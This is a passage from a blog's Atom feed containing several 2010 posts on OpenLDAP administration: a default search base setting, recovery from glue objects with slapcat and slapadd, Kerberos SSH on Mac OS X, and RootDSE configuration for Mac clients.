Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-2420734677253834639</id><published>2010-06-21T06:46:00.000-07:00</published><updated>2010-08-04T04:17:05.271-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="frontend"/><category scheme="http://www.blogger.com/atom/ns#" term="ldap"/><category scheme="http://www.blogger.com/atom/ns#" term="ldif"/><category scheme="http://www.blogger.com/atom/ns#" term="olcDefaultSearchBase"/><category scheme="http://www.blogger.com/atom/ns#" term="openldap"/><title type='text'>OpenLDAP default search base</title><content type='html'>Although it&#39;s possible to specify a search base on the client when doing an &lt;em&gt;ldapsearch&lt;/em&gt;, it&#39;s often nicer if the server can have it set correctly already. I noticed there&#39;s an &lt;em&gt;olcDefaultSearchBase&lt;/em&gt; attribute for olcDatabase entries, however you can only use it on entry &lt;em&gt;-1&lt;/em&gt;, the &lt;em&gt;frontend&lt;/em&gt; database. This makes sense, because for one LDAP server instance you can only have a single default search base.&lt;br /&gt;&lt;br /&gt;The following LDIF will set the default search base to &lt;em&gt;dc=denc,dc=nl&lt;/em&gt;:&lt;br /&gt;&lt;pre&gt;dn: olcDatabase={-1}frontend,cn=config&lt;br /&gt;changetype: modify&lt;br /&gt;add: olcDefaultSearchBase&lt;br /&gt;olcDefaultSearchBase: dc=denc,dc=nl&lt;/pre&gt;&lt;br /&gt;Works like a charm for me!</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/2420734677253834639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/2420734677253834639' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2420734677253834639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2420734677253834639'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/06/openldap-default-search-base.html' title='OpenLDAP default search base'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-2195181625423758086</id><published>2010-06-17T02:07:00.000-07:00</published><updated>2010-08-04T04:18:03.661-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="contextcsn"/><category scheme="http://www.blogger.com/atom/ns#" term="glue"/><category scheme="http://www.blogger.com/atom/ns#" term="ldapadd"/><category scheme="http://www.blogger.com/atom/ns#" term="ldapmodify"/><category scheme="http://www.blogger.com/atom/ns#" term="ldif"/><category scheme="http://www.blogger.com/atom/ns#" term="objectclass"/><category scheme="http://www.blogger.com/atom/ns#" term="openldap"/><category scheme="http://www.blogger.com/atom/ns#" term="recovery"/><category scheme="http://www.blogger.com/atom/ns#" term="slapadd"/><category scheme="http://www.blogger.com/atom/ns#" term="slapd"/><category scheme="http://www.blogger.com/atom/ns#" term="slapindex"/><title type='text'>Recovering from glue objects in OpenLDAP</title><content type='html'>After some syncing issues and a few transfers of /var/lib/ldap between servers, our company LDAP database had lost it&#39;s root organization entry. Doing a &lt;code&gt;&lt;em&gt;slapcat&lt;/em&gt;&lt;/code&gt; resulted in the entry listed with objectClass glue and all of it&#39;s attributes gone. However, this was the same at all of our servers.&lt;br /&gt;&lt;br /&gt;The first thing that came to mind to fix this issue was doing an &lt;code&gt;&lt;em&gt;ldapmodify&lt;/em&gt;&lt;/code&gt; on the entry, however ldapmodify would return &lt;em&gt;ldap_modify: No such object (32)&lt;/em&gt;. The logical next step would then be to add the object, since ldapmodify complains it&#39;s not there... However, that would result in &lt;em&gt;ldap_add: Already exists (68)&lt;/em&gt;! Amazing, one program telling me the object can&#39;t be modified because it&#39;s not there, the other telling me I can&#39;t add it because it exists.&lt;br /&gt;&lt;br /&gt;I did some searching, but couldn&#39;t find a proper solution or anyone with a similar issue. I could of course start from scratch, but that would destroy the sync status, modified timestamp, modifier&#39;s name, create timestamp and creators name and perhaps even more, so that wouldn&#39;t really be an option in my humble opinion.&lt;br /&gt;&lt;br /&gt;During my (re)search I did come across &lt;em&gt;slapadd&lt;/em&gt;. slapadd can be used to do offline database edits (at least additions to the database). So I stopped slapd, and fired up slapadd and entered my LDIF... Same issue! The entry exists, so it can&#39;t be added. slapadd doesn&#39;t seem to support modify either (I&#39;m not complaining, just stating the facts), so I had to figure out something else...&lt;br /&gt;&lt;br /&gt;Suddenly I had it all figured out. slapadd and slapcat are similar tools in that they operate directly on the database instead of talking to slapd. Thus if you slapcat your database you can give the output back to slapadd!&lt;br /&gt;&lt;pre&gt;# &lt;em&gt;slapcat -n 1 &gt; entries.ldif&lt;/em&gt;&lt;br /&gt;# &lt;em&gt;slapadd -n 1 -l entries.ldif&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;Of course this very simple code example will result in similar errors, because all your entries are already there. Besides, it would also be nice to edit the broken entry while we&#39;re at it, which will result in the following list of commands to complete it all (code assumes broken tree is database number 1, replace with your database index if it&#39;s not the first database):&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;# &lt;em&gt;cp -ar /var/lib/ldap{,.bak}&lt;/em&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;# &lt;em&gt;slapcat -n 1 &gt; entries.ldif&lt;/em&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;# &lt;em&gt;rm -r /var/lib/ldap&lt;/em&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;# &lt;em&gt;mkdir -p /var/lib/ldap/bdb&lt;/em&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class=&quot;quiet&quot;&gt;This line assumes a BDB database, you can probably replace bdb with hdb if you&#39;re using HDB&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Now edit entries.ldif so your entry makes sense again. Just fix the &lt;em&gt;objectClass&lt;/em&gt; (be sure to create a correct objectClass chain, i.e. &lt;em&gt;top&lt;/em&gt;, &lt;em&gt;dcObject&lt;/em&gt;, &lt;em&gt;organization&lt;/em&gt;), &lt;em&gt;structuralObjectClass&lt;/em&gt; and attributes required by the newly set objectClasses (i.e. &lt;em&gt;dc&lt;/em&gt;, &lt;em&gt;o&lt;/em&gt;).&lt;/li&gt;&lt;li&gt;&lt;code&gt;# &lt;em&gt;slapadd -n 1 -l entries.ldif&lt;/em&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Now your entry should be back again, with a proper objectClass and related attributes. If you get errors along the way, make sure there aren&#39;t more entries with attributes that aren&#39;t available in the schema files. Just remove the incorrect attributes (and probably incorrect objectClasses accompanying the attributes) from the LDIF and repeat the database delete and add steps (or remove everything earlier in the LDIF and just add the new entries using slapadd, of course!)&lt;br /&gt;&lt;br /&gt;The last step would be to index the database. I don&#39;t know if it&#39;s required (slapd will run fine without), but before starting slapd run the following:&lt;br /&gt;&lt;pre&gt;# &lt;em&gt;slapindex -n 1&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;Now your LDAP tree should be back to a proper state again!&lt;br /&gt;&lt;br /&gt;There&#39;s just one issue left... If you didn&#39;t change contextCSN attributes, slapd won&#39;t sync the entry to other servers because they will all think the entry never changed (and thus the other servers will keep the broken entry). There&#39;s an easy solution: just use ldapmodify to change an attribute and the contextCSN will update and the change will propagate to the other servers. The real fix would be to change the contextCSN for the rid of the server you&#39;re editing to the current time, however this is more prone to mistakes and the result should be the same (unless using delta syncrepl, where it is possible that only the change will get propagated.)&lt;br /&gt;&lt;br /&gt;This was my not-so-short introduction to LDAP disaster recovery without losing contextual information. I&#39;m hoping you enjoyed reading this post and that it helped you to recover from long-standing errors.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/2195181625423758086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/2195181625423758086' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2195181625423758086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2195181625423758086'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/06/recovering-from-glue-objects-in.html' title='Recovering from glue objects in OpenLDAP'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-3826948976994913535</id><published>2010-06-16T00:28:00.000-07:00</published><updated>2010-08-04T04:18:25.689-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="gssapi"/><category scheme="http://www.blogger.com/atom/ns#" term="kerberos"/><category scheme="http://www.blogger.com/atom/ns#" term="mac os x"/><category scheme="http://www.blogger.com/atom/ns#" term="osx"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><title type='text'>Kerberos SSH logins on Mac OS X</title><content type='html'>As a testing step of our Kerberos / Mac OS X integration I was testing SSH using a Kerberos ticket. At first it didn&#39;t seem to work. However, SSH can easily provide some more detailed debugging information, which I could compare with debugging information from a Linux machine which would successfully login with a Kerberos ticket. Turned out GSSAPI authentication is disabled by default for SSH on Mac OS X, you can enable it by editing /etc/ssh_config:&lt;br /&gt;&lt;pre title=&quot;/etc/ssh_config&quot;&gt;Host *&lt;br /&gt;GSSAPIAuthentication yes&lt;/pre&gt;&lt;br /&gt;or by passing the option to SSH on every connection:&lt;br /&gt;&lt;pre title=&quot;Passing GSSAPIAuthentication option to SSH&quot;&gt;$ &lt;em&gt;ssh -o GSSAPIAuthentication=yes &amp;lt;host&amp;gt;&lt;/em&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/3826948976994913535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/3826948976994913535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3826948976994913535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3826948976994913535'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/06/kerberos-ssh-logins-on-mac-os-x.html' title='Kerberos SSH logins on Mac OS X'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-6178574002164718925</id><published>2010-06-03T13:39:00.000-07:00</published><updated>2010-08-04T04:18:36.707-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="altServer"/><category scheme="http://www.blogger.com/atom/ns#" term="apple"/><category scheme="http://www.blogger.com/atom/ns#" term="avahi"/><category scheme="http://www.blogger.com/atom/ns#" term="config"/><category scheme="http://www.blogger.com/atom/ns#" term="ldap"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Mac"/><category scheme="http://www.blogger.com/atom/ns#" term="mac os x"/><category scheme="http://www.blogger.com/atom/ns#" term="macos"/><category scheme="http://www.blogger.com/atom/ns#" term="olcAccess"/><category scheme="http://www.blogger.com/atom/ns#" term="olcRootDSE"/><category scheme="http://www.blogger.com/atom/ns#" term="openldap"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenLdapRootDSE"/><category scheme="http://www.blogger.com/atom/ns#" term="osx"/><category scheme="http://www.blogger.com/atom/ns#" term="rootDSE"/><category scheme="http://www.blogger.com/atom/ns#" term="subschema"/><title type='text'>Mac OS X and OpenLDAP</title><content type='html'>At work we had some issues trying to join Mac OS X machines into our Samba Windows domain. Turned out Mac OS X was doing a search with scope base and empty base, which is meant to return some information that can be used for compatibility or some global knowledge about the LDAP tree. This object is the RootDSE object. In our case that search would return nothing, instead of the descriptive entry.&lt;br /&gt;&lt;br /&gt;After quite a while we noticed closed bug &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/427842&quot;&gt;#427842&lt;/a&gt; on Launchpad. The bug describes some missing access control rules that can lead to this problem. Although this bug is closed, it can still show up when migrating data from an older release, which was also the case for us. The bug also has the required ldif, which I&#39;ll copy here for future reference:&lt;br /&gt;&lt;pre title=&quot;Access control LDIF for RootDSE access&quot;&gt;dn: olcDatabase={-1}frontend,cn=config&lt;br /&gt;changetype: modify&lt;br /&gt;add: olcAccess&lt;br /&gt;olcAccess: to dn.base=&quot;&quot; by * read&lt;br /&gt;olcAccess: to dn.base=&quot;cn=subschema&quot; by * read&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;You can feed this to ldapmodify or ldapadd (yes, ldapadd can also do modifies). A quick ldapsearch will reveal if it worked:&lt;br /&gt;&lt;pre title=&quot;Search the RootDSE object&quot;&gt;$ &lt;em&gt;ldapsearch -x -b &#39;&#39; -s base&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This should return an object of the OpenLDAPRootDSE objectClass (and empty distinguished name).&lt;br /&gt;&lt;br /&gt;Now we&#39;re at it, let&#39;s add another useful gem for Mac OS X: altServer attributes. Mac OS X searches for altServer attributes in order to find other servers that should provide the same data, in case the server is down (although I don&#39;t know when this data is cached).&lt;br /&gt;&lt;br /&gt;It&#39;s possible to add attributes to the OpenLDAPRootDSE object by creating an LDIF file and pointing the olcRootDSE attribute on the config object to the created LDIF file. Create the following file, place it at /etc/ldap/rootdse.ldif:&lt;br /&gt;&lt;pre title=&quot;/etc/ldap/rootdse.ldif&quot;&gt;dn:&lt;br /&gt;altServer: ldap://server2.domain.tld/dc=domain,dc=tld&lt;br /&gt;altServer: ldap://server3.domain.tld/dc=domain,dc=tld&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now add the following LDIF to OpenLDAP:&lt;br /&gt;&lt;pre title=&quot;LDIF to enable additional RootDSE attributes&quot;&gt;dn: cn=config&lt;br /&gt;changetype: modify&lt;br /&gt;add: olcRootDSE&lt;br /&gt;olcRootDSE: /etc/ldap/rootdse.ldif&lt;/pre&gt;&lt;br /&gt;You can add this one using ldapmodify again.&lt;br /&gt;&lt;br /&gt;Another quick ldapsearch will verify the attributes are really there:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;ldapsearch -x -b &#39;&#39; -s base &quot;+&quot;&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This should present quite a list detailing some support, including the just added altServer attributes.&lt;br /&gt;&lt;br /&gt;Now there&#39;s one last thing that we should add to offer our Mac OS X users (or better, ourselves as sys admins!) a more pleasant experience: an Avahi (bonjour/zeroconf) entry for our OpenLDAP server. This will make the server show up as an option in some dialogs, for instance when adding an LDAPv3 directory server for authentication or contacts. To do this, add the following service file to avahi, for instance as /etc/avahi/services/slapd.service:&lt;br /&gt;&lt;pre title=&quot;Avahi service file for LDAP service&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; standalone=&#39;no&#39;?&amp;gt;&amp;lt;!--*-nxml-*--&amp;gt;&lt;br /&gt;&amp;lt;!DOCTYPE service-group SYSTEM &quot;avahi-service.dtd&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;service-group&amp;gt;&lt;br /&gt;    &amp;lt;name replace-wildcards=&quot;yes&quot;&amp;gt;%h&amp;lt;/name&amp;gt;&lt;br /&gt;    &amp;lt;service&amp;gt;&lt;br /&gt;        &amp;lt;type&amp;gt;_ldap._tcp&amp;lt;/type&amp;gt;&lt;br /&gt;        &amp;lt;port&amp;gt;389&amp;lt;/port&amp;gt;&lt;br /&gt;        &amp;lt;host-name&amp;gt;atlas.denc.nl&amp;lt;/host-name&amp;gt;&lt;br /&gt;    &amp;lt;/service&amp;gt;&lt;br /&gt;&amp;lt;/service-group&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The only additional step to integrating OpenLDAP even more with Mac OS X would be by adding the Apple schemas and providing OpenDirectory support using OpenLDAP on Linux. I&#39;ll probably come to that later, but one thing I&#39;ll definitely post about is authentication against our existing OpenLDAP user tree.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/6178574002164718925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/6178574002164718925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6178574002164718925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6178574002164718925'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/06/mac-os-x-and-openldap.html' title='Mac OS X and OpenLDAP'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>